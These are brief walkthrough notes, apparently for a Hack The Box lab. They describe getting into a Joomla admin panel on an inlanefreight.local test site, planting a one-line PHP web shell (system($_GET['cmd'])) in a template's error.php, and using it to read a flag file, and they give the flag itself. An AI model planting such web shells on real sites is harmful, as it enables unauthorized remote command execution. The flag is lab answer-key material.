Find the password for the admin user on http://app.inlanefreight.local
Admin panel: http://dev.inlanefreight.local/administrator/index.php
Correct the error (given by HTB article)
Templates > Templates again, edit Protostar, error.php, then add:
system($_GET['cmd']);
Save, Then go to http://dev.inlanefreight.local/templates/protostar/error.php
Then:
<http://dev.inlanefreight.local/templates/protostar/error.php?cmd=cat%20../../flag_6470e394cbf6dab6a91682cc8585059b.txt>
j00mla_c0re_d1rtrav3rsal!